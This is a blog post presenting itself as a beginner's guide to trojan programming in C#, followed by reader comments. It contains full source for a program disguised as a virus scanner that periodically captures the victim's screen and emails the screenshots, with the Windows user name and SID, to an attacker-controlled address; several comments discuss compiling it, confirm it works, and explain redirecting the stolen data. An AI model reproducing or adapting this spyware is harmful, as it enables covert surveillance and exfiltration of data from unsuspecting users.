Adsence750x90

Wednesday, May 14, 2008

Trojan Programming for beginners in C# - sample source code

Trojan Programming for beginners by Raju.M

This articles mainly concentrated for only beginners
what is a Trojan ?
Trojan are simple programs, through the hacker can control over others system. Trojan Horse programs are appears something good and its actually work bad. for example one file like virusscan.exe, normally user can think thats is a virus scanner,and the user install that scanner file, but that file work for the hacker.
me also like to write trojan, i will paste my Trojan code below this article.i write in C#.NET because am a C# Programmer in Cochin.

Unlike viruses, trojan horses do not normally spread themselves. Trojan horses must be spread by other mechanisms.
A trojan horse virus is a virus which spreads by fooling an unsuspecting user into executing it.
An example of a trojan horse virus would be a virus which required a user to open an e-mail attachment in Microsoft Outlook to activate. Once activated, the trojan horse virus would send copies of itself to people in the Microsoft Outlook address book.
The trojan horse virus infects like a trojan horse, but spreads like a virus.

Common features of Trojan Programs :

• Capturing screenshots of your computer.

• Recording key strokes and sending files to the hacker

• Giving full Access to all your drives and files.

• Ability to use your computer to do other hacking related activities.

this is a simple code to send screen shots of victims computer. But C#.net want microsoft framework 2 to run the program. i use gmail smtp to send screen shots to my to my id.

first you create a gmail/yahoo/hotmail or any other email id and enable SMTP in that email

C# Code for very simple Trojan.

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Drawing.Imaging;
using System.Net;

namespace VirusScaner
{
public partial class Form1 : Form
{
string printScreen = null;
static int i = 0;
public Form1()
{
InitializeComponent();

}
private static Bitmap BitMapCreater()
{
Rectangle rect = Screen.PrimaryScreen.Bounds;
int color = Screen.PrimaryScreen.BitsPerPixel;
PixelFormat pFormat;
switch (color)
{
case 8:
case 16:
pFormat = PixelFormat.Format16bppRgb565;
break;

case 24:
pFormat = PixelFormat.Format24bppRgb;
break;

case 32:
pFormat = PixelFormat.Format32bppArgb;
break;

default:
pFormat = PixelFormat.Format32bppArgb;
break;
}
Bitmap bmp = new Bitmap(rect.Width, rect.Height, pFormat);
Graphics g = Graphics.FromImage(bmp);
g.CopyFromScreen(rect.Left, rect.Top, 0, 0, rect.Size);
return bmp;
}
private static string sendMail(System.Net.Mail.MailMessage mm)
{
try
{
string smtpHost = "smtp.gmail.com";
string userName = "username@gmail.com";//write your email address
string password = "************";//write password
System.Net.Mail.SmtpClient mClient = new System.Net.Mail.SmtpClient();
mClient.Port = 587;
mClient.EnableSsl = true;
mClient.UseDefaultCredentials = false;
mClient.Credentials = new NetworkCredential(userName, password);
mClient.Host = smtpHost;
mClient.DeliveryMethod = System.Net.Mail.SmtpDeliveryMethod.Network;
mClient.Send(mm);
}
catch (Exception ex)
{
System.Console.Write(ex.Message);
}

return "Send Sucessfully";
}
private void Form1_Load(object sender, EventArgs e)
{


}



private void timer1_Tick_1(object sender, EventArgs e)
{
i = i + 1;
string sysName = string.Empty;
string sysUser = string.Empty;
Bitmap b = BitMapCreater();
printScreen = string.Format("{0}{1}", Path.GetTempPath(), "screen" + i + ".jpg");
b.Save(printScreen, ImageFormat.Jpeg);
System.Net.Mail.MailAddress toAddress = new System.Net.Mail.MailAddress("xxxxx@gmail.com");
System.Net.Mail.MailAddress fromAddress = new System.Net.Mail.MailAddress("remoteMachine@yahoo.com");
System.Net.Mail.MailMessage mm = new System.Net.Mail.MailMessage(fromAddress, toAddress);
sysName = System.Security.Principal.WindowsIdentity.GetCurrent().Name.ToString();
sysUser = System.Security.Principal.WindowsIdentity.GetCurrent().User.ToString();
mm.Subject = sysName + " " + sysUser;
string filename = string.Empty;
System.Net.Mail.Attachment mailAttachment = new System.Net.Mail.Attachment(printScreen);
mm.Attachments.Add(mailAttachment);
mm.IsBodyHtml = true;
mm.BodyEncoding = System.Text.Encoding.UTF8;
sendMail(mm);
}
}
}



Disclaimer
I am not responsible if some of you maid anything wrong with this content. Thanks

35 comments:

reddy said...

hi....

i am a beginner.
i have absolutely no idea how to compile and make a ".exe" file using the code u gave. can u please brief it shortly....

Amol Bhave said...

You will need a C# Compiler. It is available with Microsoft C# Express Edition or with Microsoft Visual Studio. The previous is a free edition and the latter is paid.

daan said...

hi,

im also a beginner, and
this my question:
how can i use it..? must i run it on my own system or must i mail it to anyone?

(sorry for bad english)

Raju.M said...

Dann, this is a sample application to mail desktop screen short. where you install that application, if that machine have internet connection you will receive desktop screen short via email.

karth said...

i don't know c# but i understood ur technique:
ur trojon would take our username and password and send it to ur email id remoteMachine@yahoo.com
"
string userName = "username@gmail.com";//write your email address
string password = "************";//write password
"
dont fool beginners

karth said...

was i right or wrong reply to me at karthvks@gmail.com

@karth said...

If you don't know c# why don't you shut up?
That kind of people drives me mad...
This code works perfectly, I changed some things but still managed to send me an e-mail.
Thank you.

Anonymous said...

yumadtho

@m@r said...

how to get the files if they don't have internet Connection............
if they connected n a lan how???

basy50a0ncent said...

hai..

this is for all who does not to compile
first you need a compiler go to this link and download it (http://nchc.dl.sourceforge.net/project/dev-cpp/Binaries/Dev-C%2B%2B%204.9.9.2/devcpp-4.9.9.2_nomingw_setup.exe)

after installing it you need to copy the source code to devc++
and click compile in execute icon in toolbar
then you will get it

Vignesh said...

Great ! but don't we need an administrative permission to execute this??

Anonymous said...

Buddy your code is really helpful. But it'll be better if you add comments, letting the coder know exactly what's going on.

Oh and thanks for the code. :)

Anonymous said...

Buddy your code is really helpful. But it'll be better if you add comments, letting the coder know exactly what's going on.

Oh and thanks for the code. :)

RicCk Fernandez said...

when i compile it shows 28 errors!!
can u debug all those???????
i use Borland C++ compiler 5.5 compiler!

Anonymous said...

What about the other features.RAT is becoming treaky with Windows APIs

WEB SAILOR said...

I just read this post but I must agree that you have to put comments to help us to understand the sintaxe

Menol said...

Guys, if you don't know c# or progamming then don't try to be a hacker.

First learn programming then start writing programs like this.

Most of you guys can't even debug a program but want to be hackers.

If that's possible this world will be full of hackers.

Anonymous said...

hey admin can you tell me whether what the hell is remoteMachine@yahoo.com ha?

Anonymous said...

Great Work :)

prithvi said...

how did u use classes in c?

mahesh said...

GUYS GUYS GUYS AND GIRLS TOO....

SEE THE CODE....

System.Net.Mail.MailAddress("xxxxx@gmail.com");
System.Net.Mail.MailAddress fromAddress = new System.Net.Mail.MailAddress("remoteMachine@yahoo.com");
System.Net.Mail.MailMessage mm = new System.Net.Mail.MailMessage(fromAddress, toAddress);


NOW NOTICE THIS :

System.Net.Mail.MailAddress("remoteMachine@yahoo.com");


JUST ADD YOUR EMAIL ID HERE ELSE ALL TROJANS U SEND TO SOME ONE ELSE WILL GO TO "remoteMachine@yahoo.com".

And ya remember the cyber crime experts do exist. Dont fool yourself and get into trouble. Dont misuse the codes.

Mahesh Lalwani
Cyber Security Specialist.
MCA,SCI.

mahesh said...

Guys a special advice. Dont get too excited by hacking. User has just shown u an example.

Well still if u do so then see below:

"remoteMachine@yahoo.com"

check the code and you will find this.Just change this email id and put yours. Else the mail will go to above address not yours.

Well special advice to non hackers.
Use it and you can surely get into trouble. So beware its an advice.

Ravshanjon Mirzojonov said...

a

Ravshanjon Mirzojonov said...

Thank you...
Visit this blog there is more complex trojan:
http://advanced-csharp.blogspot.com/2013/07/creating-parent-supervision.html

Ravshanjon Mirzojonov said...

Thank I've learned how to create trojan and now I've created an advanced blog where the first subject is about creating an advanced trojan...
http://advanced-csharp.blogspot.com/2013/07/creating-parent-supervision.html

kathiresan said...

dai,,bugger..v r not fools,,

Anonymous said...

PROGRAM FAIL

Joseph said...

you are idiot

Anonymous said...

see:
string userName = "username@gmail.com";//write your email address
string password = "************";//write password
-------------------------------
U R BEING HACKED - your username and password is being sent to
rmotemachine@yahoo.com
-------------------------------
IDIOTS!!!!!!!!!!!

Anonymous said...

can i do it with note pad? or do i have to use c# comppiler?




Anonymous said...

(http://nchc.dl.sourceforge.net/project/dev-cpp/Binaries/Dev-C%2B%2B%204.9.9.2/devcpp-4.9.9.2_nomingw_setup.exe)

Is really a compiler?

MOHSIN UL ISLAM said...

The code is not compiling in Dev C++ compiler, showing errors. I had dev C++ installed in my PC from a long time and i used to program c# in it, so its not new for me. why isn't the code working? The possible cause maybe header file is missing. Please check the code again and repost it. Besides you have created the functions but not initialized them first, which are indeed not the library functions of c#. So initialization is must.

Anonymous said...

Hello,
great post. I have one interesting question:

How this could be scanned before (like IDS)?

I know, how to check, which programs are running in the background. But how I can detect taking screenshots or anything else you writed?

Because in creating IDS System, it should be important to know, who a virus/trojan works :)

Thanks

niazi said...

This blog awesome and i learn a lot about programming from here.The best thing about this blog is that you doing from beginning to experts level.

Love from

akmal niazi khan said...

This blog awesome and i learn a lot about programming from here.The best thing about this blog is that you doing from beginning to experts level.

Love from